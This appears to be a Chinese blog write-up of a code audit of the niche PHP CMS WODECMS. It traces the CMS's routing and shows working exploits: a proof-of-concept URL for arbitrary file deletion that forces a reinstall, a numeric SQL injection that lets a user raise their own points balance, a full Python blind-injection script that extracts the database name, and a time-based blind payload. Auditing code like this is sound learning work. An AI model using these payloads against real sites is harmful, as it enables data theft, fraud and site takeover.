前言

最近找了款小众cms进行代码审计

路由规则

由于第一次审计代码,也是依照网上的一些经验来进行入手,同时也参考了《代码审计·企业级web代码安全架构》这一本书。我是先对代码的路由规则进行理清,在通过自动化工具进行扫描验证。

cms入口文件分别是index.php和admin.php,分别是通过以下代码进行实例化运行的:
index.php:

$control = new Controller();
$conrol->Run();

admin.php:

$conrol = new Controller();
$conrol->conrol = “admin”;
$conrol->Run();

相关的配置文件则是通过Init.php和setup.php进行调用:

require ROOT_PATH.”/WODECMS/Init.php”
require(App_PATH.”setup.php”)

跟进调用文件,发现Controller类于Init.php进行调用

require ROOT_PATH.’/WODECMS/core/controller.class.php’

进入controer.class.php文件,找到了入口函数Run()

这里又调用了Analysis()函数,继续跟进:

这里可以看见,对$_GET[‘ac’]传入的数据进行了处理,并将值传给了$modelClass和$controlClass.

继续跟进下半部分:

这里c [‘URL_MODE’]是__construct()中的内容,旨在提供不同的模式。

继续向下看,$_GET[‘ac’]参数控制的值先是传入$_GET[‘C’]和$_[‘a’],再传入$ac[0]和$ac[1]

最后对index和admin权限进行了一波判读按。

然后回到Run()函数:

$ac[0]和$ac[1]的值分别进入$this->control和$this->action.

注意这里的一次包含:

$controlFile = ROOT_PATH . ‘/‘ . APP_PATH . “/“ . GROUP_DIR . “/“ . $this->control . ‘.class.php’;
include ($controlFile);

这是根据$this->control和GROUP_DIR决定引入文件,GROUP_DIR是根据入口文件是index.php和admin.php来决定的。我们查看这两个文件夹:

发现里面存放的是相应的模块文件。

继续下行,发现了最为核心的控制:

分析代码,我们便可以得知,引入的方法模块通过$instance->$mothodName()来进行调用

至此,大致的逻辑就出来了,整站分别通过index.php和admin.php为入口,通过GET参数ac对方法进行调用,其中a为模块文件,c为模块方法

漏洞

任意文件删除

漏洞点:

/app/admin/kindeditor.class.php

function delete()
/app/admin/picture.class.php
function delete()
/app/admin/download.class.php
function deletePic()
/app/controller/kindeditor.class.php
function delete()
/app/controller/picture.class.php
function deletePic()

这套cms的任意删除文件出发点有点多!!!

我这里以/app/controller/picture.class.php为例:

$path = ROOT_PATH.$_GET['pic']
unlink($path)

根本没有任何防备。。。。

这里ROOT_PATH的值为网站根目录地址
直接构造POC:
http://127.0.0.1/index.php?ac=picture_delete&pic=/1.txt

POC验证:

回看文件夹:

这里可以对任意文件删除,如可以尝试删除install.lock文件,对网站进行重装

正常状况下:

通过构造POC删除app/date/install.lock文件

再次访问,即可进行重装

权限越过&sql注入

漏洞点位于文件/app/controller/video.class.php的loading()函数

在此处的sql语句 "UPDATE tc_user SET money =".$num." WHERE id = ".$uid
对于$uid仅仅只有全局过滤而在此处没有任何过滤且此处为数字型注入
这意味着只要过了全局过滤,在此处可以随意注入

首先,此sql语句操作的是tc_user表的money数据,emmmm,算是比较重要的敏感数据,根据查找,在index.php?ac=user_home里对此数据进行了调用:

这里的积分就是money数据,我们构造POC对积分尝试操作:
http://127.0.0.1/index.php?ac=video_loading&money=111&uid=2(这里的uid为当前用户id)

前台数据已被修改:

这里的money数据为敏感数据,前台用户通过调用模块方法进行修改,属于垂直越权。
继续深入:

根据代码逻辑,这里的sql语句执行结果并未返回,但是在此处并没有回显

但是代码的执行与否却会影响user_home的积分值,我们通过对比user_home界面,得出语句的正确与否.
这里我写了个小脚本:

#!/usr/bin/python3
# *_* coding: utf-8 *_*

import requests
from bs4 import BeautifulSoup as bsf

url_payload = 'http://127.0.0.1/index.php?ac=video_loading&money=110&uid=1 '
url_reset = 'http://127.0.0.1/index.php?ac=video_loading&money=100&uid=1'
urlcheck = 'http://127.0.0.1/index.php?ac=user_home'
length = 0
flag = 100
database = ''
cookies = {'PHPSESSID': 'qsmsrleeo6ro1j3ivlq1jv1g94'} #PHPSESSID 值需要自己进行修改
database_length = 'and 1=(length(datababasese())='+str(length)+')'
database_payload = 'and 1=(ascii(substr(database() from 1))=119)'


def sql_start(url):

    try:
        r = requests.get(url= url, cookies= cookies)
        status = r.status_code
    except Exception as e:
        print('[*] connect error!')
        print(e)

def check(url):

    try:
        r = requests.get(url= url, cookies= cookies)
        html = r.text
        soup = bsf(html, 'lxml')
        result = soup.find_all('div', class_='personal-information')
        final = result[0].ul
        if str(flag) not in str(final):
            return 1
        else:
            return 0
    except Exception as e:
        print('[*] connect error!')
        print(e)

def restart(url):

    try:
        r = requests.get(url= url, cookies= cookies)
    except Exception as e:
        print(e)

def database_len():

    global length
    restart(url_reset)
    for i in range(1, 20):
        url = url_payload+'and 1=(length(datababasese())='+str(i)+')'
        print('[-] Testing: ', url)
        sql_start(url)
        if check(urlcheck):
            print("[+] The database's length is ", i)
            length = i
            return 0
        else:
            print('[*] filed')
#database_len()

def database_sql():

    global database
    result = ''
    for i in range(1, length+1):
        restart(url_reset)
        for j in range(1, 128):
            url = url_payload+'and 1=(ascii(substr(datababasese() from '+str(i)+'))='+str(j)+')'
            print('[-] Testing ', url)
            sql_start(url)
            if check(urlcheck):
                print('[+] succees !')
                result = result+chr(j)
                break
            else:
                print('[*] filed')
        print('result is', result)
    database = result
database_len()
database_sql()
print(database)

PS:此处只对数据库进行注入,未尝试更多,但原理一样,仅需更改payload即可.

但有些时候,我们并不知道uid的值,那么此处通过user_home进行判断就不可取,那么就可以用时间盲注构造POC:
http://127.0.0.1/index.php?ac=video_loading&money=111&uid=2 and (0=(select case when (ascii(substring((database()) from 1 for 1 ))=119) then sleep(4) else 0 end))
(此处对参数全局过滤了逗号,且对database()中的base进行了一次替换)
我们查看POC验证情况:

成功验证.

后记

这个cms比较小众,也没有做较多的防御。而且当中有很多方法都是写出来但并没有对方法进行调用,所以就没有找到更危险的漏洞(也是我太菜的缘故)。但也算是大致知道代码审计的基本流程和方法,结果还算是好的。
再接再励!


代码审计      WODECMS

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

反序列化小记 上一篇
解决kali虚拟机网络问题 下一篇